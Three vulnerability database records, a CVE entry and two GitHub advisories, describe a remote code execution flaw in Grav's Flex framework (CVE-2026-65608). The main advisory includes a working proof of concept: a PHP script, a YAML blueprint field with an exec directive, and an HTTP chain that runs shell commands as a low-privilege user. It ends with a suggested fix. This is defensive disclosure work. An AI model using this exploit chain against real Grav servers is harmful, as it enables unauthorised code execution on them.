{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.9",
              "status": "affected",
              "version": "1.7.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.9",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav versions \u003e= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server."
    }
  ],
  "id": "CVE-2026-65608",
  "lastModified": "2026-07-23T19:17:04.707",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-65608",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-23T18:00:17.857895Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-23T12:18:47.770",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-470"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "2.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA missing validation check in Grav\u0027s Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with `create` or `update` rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a `data-*@:` directive, since the code that resolves those directives calls `call_user_func_array()` on attacker-influenced input with no restriction at all.\n\nThis is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to `Blueprint::dynamicData()`, but Grav\u0027s Flex system routes the same directive through a separate, unprotected method, `FlexDirectory::dynamicDataField()`, which never received the same fix.\n\n### Details\n\nGrav blueprints support `action-property@:` directives, YAML keys that tell the blueprint engine to compute a field\u0027s value dynamically by calling a function. `Blueprint::init()` (`system/src/Grav/Common/Data/Blueprint.php:167-177`) resolves these by checking for a registered handler first, and only falling back to the built-in `dynamic{Action}` method if none is registered:\n\n```php\nforeach ($data as $property =\u003e $call) {\n    $action = $call[\u0027action\u0027];\n    $method = \u0027dynamic\u0027 . ucfirst((string) $action);\n    $call[\u0027object\u0027] = $this-\u003eobject;\n\n    if (isset($this-\u003ehandlers[$action])) {\n        $callable = $this-\u003ehandlers[$action];\n        $callable($current, $property, $call);\n    } elseif (method_exists($this, $method)) {\n        $this-\u003e{$method}($current, $property, $call);\n    }\n}\n```\n\n`FlexDirectory::getBlueprint()` (`system/src/Grav/Framework/Flex/FlexDirectory.php:878-880`) registers exactly such a handler for the `data` action, for every Flex directory:\n\n```php\n$blueprint-\u003eaddDynamicHandler(\u0027data\u0027, function (array \u0026$field, $property, array \u0026$call) {\n    $this-\u003edynamicDataField($field, $property, $call);\n});\n```\n\nBecause a handler is registered, `Blueprint::init()` never falls through to the patched `Blueprint::dynamicData()`. It calls `FlexDirectory::dynamicDataField()` instead (`system/src/Grav/Framework/Flex/FlexDirectory.php:906-928`):\n\n```php\nprotected function dynamicDataField(array \u0026$field, $property, array $call)\n{\n    $params = $call[\u0027params\u0027];\n    if (is_array($params)) {\n        $function = array_shift($params);\n    } else {\n        $function = $params;\n        $params = [];\n    }\n\n    $object = $call[\u0027object\u0027];\n    if ($function === \u0027\\Grav\\Common\\Page\\Pages::pageTypes\u0027) {\n        $params = [$object instanceof PageInterface \u0026\u0026 $object-\u003eisModule() ? \u0027modular\u0027 : \u0027standard\u0027];\n    }\n\n    $data = null;\n    if (is_callable($function)) {\n        $data = call_user_func_array($function, $params);\n    }\n    // ...\n}\n```\n\n`is_callable()` only checks that `$function` resolves to something callable. It does not check whether calling it is safe. `\u0027exec\u0027`, `\u0027system\u0027`, `\u0027passthru\u0027`, and `\u0027shell_exec\u0027` are all valid PHP callables, so this passes them through without complaint.\n\nCompare this to the patched `Blueprint::dynamicData()` (`system/src/Grav/Common/Data/Blueprint.php:426-448`), which calls `$this-\u003eisSafeDynamicCall($function, $params)` before doing anything. That method denies known command-execution functions (`exec`, `system`, `passthru`, `shell_exec`, `popen`, `proc_open`, `pcntl_exec`), known code-execution functions (`assert`, `preg_replace`, `create_function`, `include`, `require`), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through `Utils::arrayFilterRecursive`. None of that logic exists in `dynamicDataField()`.\n\n**Version tested:** current `master`, commit `fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969`. `git describe` reports this as `2.0.8-2-gfae9e1bf2`, two commits past the `2.0.8` tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (`ParsedownGravTrait.php`, unrelated). Neither touches `Blueprint.php`, `FlexDirectory.php`, or `Utils.php`. `git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php` returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.\n\n### PoC\n\n**Part 1, code level.** This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with `composer install` run. It calls the real, unmodified `FlexDirectory::dynamicDataField()` directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Grav\\Common\\Data\\Blueprint;\nuse Grav\\Framework\\Flex\\FlexDirectory;\n\n$proofFile = \u0027/tmp/grav_rce_proof.txt\u0027;\n\n// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,\n// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().\n// No trampoline gadget needed here. dynamicDataField() performs zero validation\n// on $function.\n$items = [\n    \u0027fields\u0027 =\u003e [\n        \u0027myfield\u0027 =\u003e [\n            \u0027type\u0027 =\u003e \u0027text\u0027,\n            \u0027data-test@\u0027 =\u003e [\u0027exec\u0027, \"id \u003e $proofFile 2\u003e\u00261\"],\n        ],\n    ],\n];\n\n$blueprint = new Blueprint(null, $items);\n$blueprint-\u003eembed(\u0027\u0027, $items); // triggers deepInit(), populates $blueprint-\u003edynamic\n\n// Register the real, unmodified FlexDirectory::dynamicDataField as the \u0027data\u0027\n// handler. This is exactly what FlexDirectory::getBlueprint() does for every\n// Flex directory in production.\n$refClass = new ReflectionClass(FlexDirectory::class);\n$flexDirectoryInstance = $refClass-\u003enewInstanceWithoutConstructor();\n$method = $refClass-\u003egetMethod(\u0027dynamicDataField\u0027);\n$method-\u003esetAccessible(true);\n\n$blueprint-\u003eaddDynamicHandler(\u0027data\u0027, function (array \u0026$field, $property, array \u0026$call) use ($method, $flexDirectoryInstance) {\n    $method-\u003einvoke($flexDirectoryInstance, $field, $property, $call);\n});\n\n$blueprint-\u003einit();\n\necho file_exists($proofFile) ? file_get_contents($proofFile) : \"not vulnerable\\n\";\n```\n\nOutput:\n\n```\nuid=1000(d) gid=1000(d) groups=1000(d),4(adm),...\n```\n\n**Part 2, full HTTP chain against the real admin panel.** Configuration used:\n\n- Base checkout: same commit as above.\n- `bin/gpm install admin flex-objects -y`, which pulls in `form`, `login`, `email`, `shortcode-core`, `api` as dependencies.\n- `php -S localhost:8000 system/router.php`.\n\nStep 1. `flex-objects` ships a self-contained sample custom directory at `blueprints/flex-objects/contacts.yaml`, with its own `admin.contacts`/`api.contacts` permission set. Added one field to its `form.fields`:\n\n```yaml\n    pocfield:\n      type: text\n      label: PoC Field\n      data-test@:\n        - exec\n        - \"id \u003e /tmp/grav_http_rce_proof.txt 2\u003e\u00261\"\n```\n\nStep 2. Registered `contacts` as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (`user/config/plugins/flex-objects.yaml`):\n\n```yaml\ndirectories:\n  - \u0027blueprints://flex-objects/pages.yaml\u0027\n  - \u0027blueprints://flex-objects/user-accounts.yaml\u0027\n  - \u0027blueprints://flex-objects/user-groups.yaml\u0027\n  - \u0027blueprints://flex-objects/contacts.yaml\u0027\n```\n\nStep 3. Confirmed a full super-admin account can trigger it, as a baseline. `POST /api/v1/flex-objects/contacts` (the ordinary \"create a new contact\" endpoint) with a super-admin JWT:\n\n```\nHTTP 201 Created\n```\n\n`/tmp/grav_http_rce_proof.txt` contained the `id` command\u0027s output. This confirms the chain fires through the real API: `FlexApiController::create()` calls `FlexDirectory::createObject()`/`save()`, which calls blueprint `init()`, which calls `dynamicDataField()`, which calls `call_user_func_array(\u0027exec\u0027, [...])`. The read-only blueprint-serving endpoint, `GET /blueprints/flex-objects/{type}`, does not trigger this; only the create/update processing path calls `init()`.\n\nStep 4. Created a second account with nothing granted except:\n\n```yaml\naccess:\n  admin:\n    login: true\n  api:\n    access: true\n    contacts:\n      create: true\n```\n\nNo `admin.super`, no `api.super`, no permission on anything except creating records in this one directory. That is exactly the permission `contacts.yaml`\u0027s own blueprint declares for this action (`admin.permissions.api.contacts: {type: crudpl}` maps to `api.contacts.create`). The token response confirmed the account had nothing else: `\"super_admin\": false`, with only `api.access` and `api.contacts.create` set to `true`.\n\nThat account sent the same `POST /api/v1/flex-objects/contacts` request, an ordinary \"create a contact\" call indistinguishable from legitimate use:\n\n```\nHTTP 201 Created\n```\n\n`/tmp/grav_http_rce_proof.txt` was overwritten with fresh `id` output.\n\nThis was reproduced a second time on a completely separate, freshly cloned checkout (independent `composer install`, independent `bin/gpm install`, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.\n\n### Impact\n\n**Threat model.** The attacker needs an authenticated account with `create` or `update` permission on a single Flex directory, nothing more. The PoC account held exactly one permission, `api.contacts.create`, scoped to one custom directory, with `super_admin: false` and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor\u0027s own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.\n\nAny Grav 2.0 install running the `flex-objects` plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a `data-*@:` directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in `flex-objects` or `admin` UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.\n\n**Suggested fix**: route `FlexDirectory::dynamicDataField()` through the same `isSafeDynamicCall()`/`Utils::isDangerousFunction()` checks `Blueprint::dynamicData()` already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other `addDynamicHandler()` registration in the codebase has the same gap.",
  "id": "GHSA-c4wf-2xxc-68qm",
  "modified": "2026-09-17T17:15:33Z",
  "published": "2026-09-17T17:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:05Z",
    "nvd_published_at": "2026-07-23T12:18:47Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-c4wf-2xxc-68qm. This link is maintained to preserve external references.\n\n### Original Description\nGrav versions \u003e= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.",
  "id": "GHSA-pp9r-ppc4-25w4",
  "modified": "2026-09-17T17:15:06Z",
  "published": "2026-07-23T12:32:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation",
  "withdrawn": "2026-09-17T17:15:05Z"
}